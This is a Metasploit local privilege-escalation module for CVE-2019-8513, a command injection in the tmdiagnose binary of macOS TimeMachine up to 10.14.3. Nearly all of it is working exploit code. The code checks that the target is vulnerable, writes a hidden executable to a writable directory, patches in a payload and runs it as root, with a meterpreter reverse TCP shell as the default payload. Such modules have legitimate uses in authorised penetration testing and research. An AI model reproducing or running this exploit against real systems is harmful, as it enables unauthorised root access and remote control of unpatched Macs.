Mac OS X TimeMachine (tmdiagnose) Command Injection Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Post::OSX::Priv  
include Msf::Post::OSX::System  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Mac OS X TimeMachine (tmdiagnose) Command Injection Privilege Escalation',  
'Description' => %q{  
This module exploits a command injection in TimeMachine on macOS <= 10.14.3 in  
order to run a payload as root. The tmdiagnose binary on OSX <= 10.14.3 suffers  
from a command injection vulnerability that can be exploited by creating a  
specially crafted disk label.  
  
The tmdiagnose binary uses awk to list every mounted volume, and composes  
shell commands based on the volume labels. By creating a volume label with the  
backtick character, we can have our own binary executed with root priviledges.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'CodeColorist', # Discovery and exploit  
'timwr', # Metasploit module  
],  
'References' => [  
['CVE', '2019-8513'],  
['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-i-cve-2019-8513-timemachine-root-command-injection-47e056b3cb43'],  
['URL', 'https://support.apple.com/en-in/HT209600'],  
['URL', 'https://github.com/ChiChou/sploits'],  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },  
'Targets' => [  
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],  
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],  
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],  
],  
'DisclosureDate' => 'Apr 13 2019'))  
register_advanced_options [  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
]  
end  
  
def upload_executable_file(filepath, filedata)  
print_status("Uploading file: '#{filepath}'")  
write_file(filepath, filedata)  
chmod(filepath)  
register_file_for_cleanup(filepath)  
end  
  
def check  
version = Gem::Version.new(get_system_version)  
if version >= Gem::Version.new('10.14.4')  
CheckCode::Safe  
else  
CheckCode::Appears  
end  
end  
  
def exploit  
if check != CheckCode::Appears  
fail_with Failure::NotVulnerable, 'Target is not vulnerable'  
end  
  
if is_root?  
fail_with Failure::BadConfig, 'Session already has root privileges'  
end  
  
unless writable? datastore['WritableDir']  
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"  
end  
  
exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8513", "exploit" ))  
if target['Arch'] == ARCH_X64  
root_cmd = payload.encoded  
else  
root_cmd = payload.raw  
if target['Arch'] == ARCH_PYTHON  
root_cmd = "echo \"#{root_cmd}\" | python"  
end  
root_cmd = "CMD:#{root_cmd}"  
end  
if root_cmd.length > 1024  
fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder"  
end  
  
placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')  
exploit_data[placeholder_index, root_cmd.length] = root_cmd  
  
exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"  
upload_executable_file(exploit_file, exploit_data)  
  
print_status("Executing exploit '#{exploit_file}'")  
result = cmd_exec(exploit_file)  
print_status("Exploit result:\n#{result}")  
end  
end  
`